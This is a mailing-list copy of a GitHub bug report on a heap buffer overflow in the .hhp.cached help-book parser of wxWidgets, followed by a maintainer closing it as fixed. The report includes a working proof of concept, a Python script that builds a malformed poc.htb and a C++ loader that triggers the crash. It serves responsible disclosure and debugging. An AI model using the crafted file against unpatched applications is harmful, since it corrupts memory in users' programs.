Heap buffer overflow in CacheReadString() when loading a .hhp.cached help book (Issue #26765)

9 views
Skip to first unread message

MarkLee131

unread,
Jul 31, 2026, 10:24:10 AM (4 days ago) Jul 31
to wx-...@googlegroups.com, Subscribed
MarkLee131 created an issue (wxWidgets/wxWidgets#26765)

Description

Bug description:

CacheReadString() takes the length of a string straight from a .hhp.cached file and passes len - 1 to wxCharBuffer.

src/html/helpdata.cpp:337:

inline static wxString CacheReadString(wxInputStream *f)
{
    size_t len = (size_t)CacheReadInt32(f);
    wxCharBuffer str(len-1);
    f->Read(str.data(), len);
    return wxString(str, wxConvUTF8);
}

include/wx/buffer.h:344:

    wxCharTypeBuffer(size_t len)
    {
        CharType* const str = (CharType *)malloc((len + 1)*sizeof(CharType));
        if ( str )
        {
            str[len] = (CharType)0;

A stored length of 0 makes len - 1 wrap to SIZE_MAX, so malloc((len + 1)) wraps to malloc(0) and str[len] is str[SIZE_MAX], which on 64-bit is ptr - 1. CacheWriteString() always counts the trailing NUL, so 0 never occurs in a file wxWidgets wrote, but nothing rejects it on read.

Three more in the same function, all from the same unchecked length:

  • the buffer is a byte shorter than the read that fills it, so the terminator is overwritten and the wxString ctor scans past the end when the data has no NUL of its own
  • a negative length becomes a huge size_t, and malloc failing leaves Read() with a null pointer
  • 0x7FFFFFFF asks for a 2 GB allocation from a 24 byte payload

The contents and index counts at :373 and :388 are also used unchecked, newsize = st + CacheReadInt32(f); feeding straight into Alloc() on the next line. A 12 byte .cached declaring 0x7FFFFFF0 items hangs and then dies on std::bad_alloc.

Expected vs observed behaviour:

Expected: a .cached file that could not have been produced by SaveCachedBook() is rejected, and AddBookParam() falls back to the MS
project as it already does for a version mismatch.

Observed: the length is used as-is.

Stack trace:

==108==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200000388f
WRITE of size 1 at 0x50200000388f thread T0
    #0 wxCharTypeBuffer<char>::wxCharTypeBuffer(unsigned long) include/wx/buffer.h:349
    #1 wxCharBuffer::wxCharBuffer(unsigned long) include/wx/buffer.h:444
    #2 CacheReadString src/html/helpdata.cpp:340
    #3 wxHtmlHelpData::LoadCachedBook(wxHtmlBookRecord*, wxInputStream*) src/html/helpdata.cpp:380
    #4 wxHtmlHelpData::AddBookParam(...) src/html/helpdata.cpp:565
    #5 wxHtmlHelpData::AddBook(wxString const&) src/html/helpdata.cpp:703
    #6 wxHtmlHelpData::AddBook(wxString const&) src/html/helpdata.cpp:644
    #7 main

0x50200000388f is located 1 bytes to the left of 1-byte region
allocated by thread T0 here:
    #0 __interceptor_malloc
    #1 wxCharTypeBuffer<char>::wxCharTypeBuffer(unsigned long) include/wx/buffer.h:346
    #2 wxCharBuffer::wxCharBuffer(unsigned long) include/wx/buffer.h:444
    #3 CacheReadString src/html/helpdata.cpp:340

It fires once per string field, so twice per contents item.

Patch or snippet allowing to reproduce the problem:

AddBook() accepts .htb, finds the .hhp inside it, and AddBookParam() then opens bookfile.GetLocation() + ".cached", which resolves to a second entry in the same archive. So one file drives all of it.

Build poc.htb:

import struct, zipfile

def i32(v): return struct.pack('<i', v)

# version 5, format flags 1, one contents item (level 0, id 0),
# whose name field declares a length of 0.
cached = i32(5) + i32(1) + i32(1) + i32(0) + i32(0) + i32(0)

with zipfile.ZipFile('poc.htb', 'w') as z:
    z.writestr(zipfile.ZipInfo('doc.hhp', (2020, 1, 1, 0, 0, 0)), b'Title=poc\r\n')
    # must not be older than the .hhp or the cached file is ignored
    z.writestr(zipfile.ZipInfo('doc.hhp.cached', (2030, 1, 1, 0, 0, 0)), cached)

Load it:

#include "wx/init.h"
#include "wx/filesys.h"
#include "wx/fs_arc.h"
#include "wx/html/helpdata.h"

int main()
{
    wxInitializer init;
    wxFileSystem::AddHandler(new wxArchiveFSHandler);
    wxHtmlHelpData data;
    data.AddBook("poc.htb");
    return 0;
}

To Reproduce:

  1. python3 mkpoc.py to write poc.htb, 251 bytes.
  2. g++ -fsanitize=address -g repro.cpp -o repro $(wx-config --cxxflags --libs html,core,base)
  3. ./repro prints the report above. Without a sanitizer the write lands in the allocator's bookkeeping instead.

Platform and version information

  • wxWidgets version you use: master at d5aacc4712, and 3.3.3. The same code is in 3.2.11 and in every release back to 3.2.9; git log -L traces it to the 2.4 merge
  • wxWidgets port you use: wxGTK, built with --enable-html --enable-htmlhelp
  • OS and its version: Ubuntu 22.04.5 LTS, gcc 11.4.0 and GTK version: 3.24.33


Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications, keep track of coding agent tasks and review pull requests on the go with GitHub Mobile for iOS and Android. Download it today!
You are receiving this because you are subscribed to this thread.Message ID: <wxWidgets/wxWidgets/issues/26765@github.com>

VZ

unread,
Aug 1, 2026, 8:05:39 AM (3 days ago) Aug 1
to wx-...@googlegroups.com, Subscribed

Closed #26765 as completed via 09cebab.


Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications, keep track of coding agent tasks and review pull requests on the go with GitHub Mobile for iOS and Android. Download it today!

You are receiving this because you are subscribed to this thread.Message ID: <wxWidgets/wxWidgets/issue/26765/issue_event/28817552257@github.com>

Reply all
Reply to author
Forward
0 new messages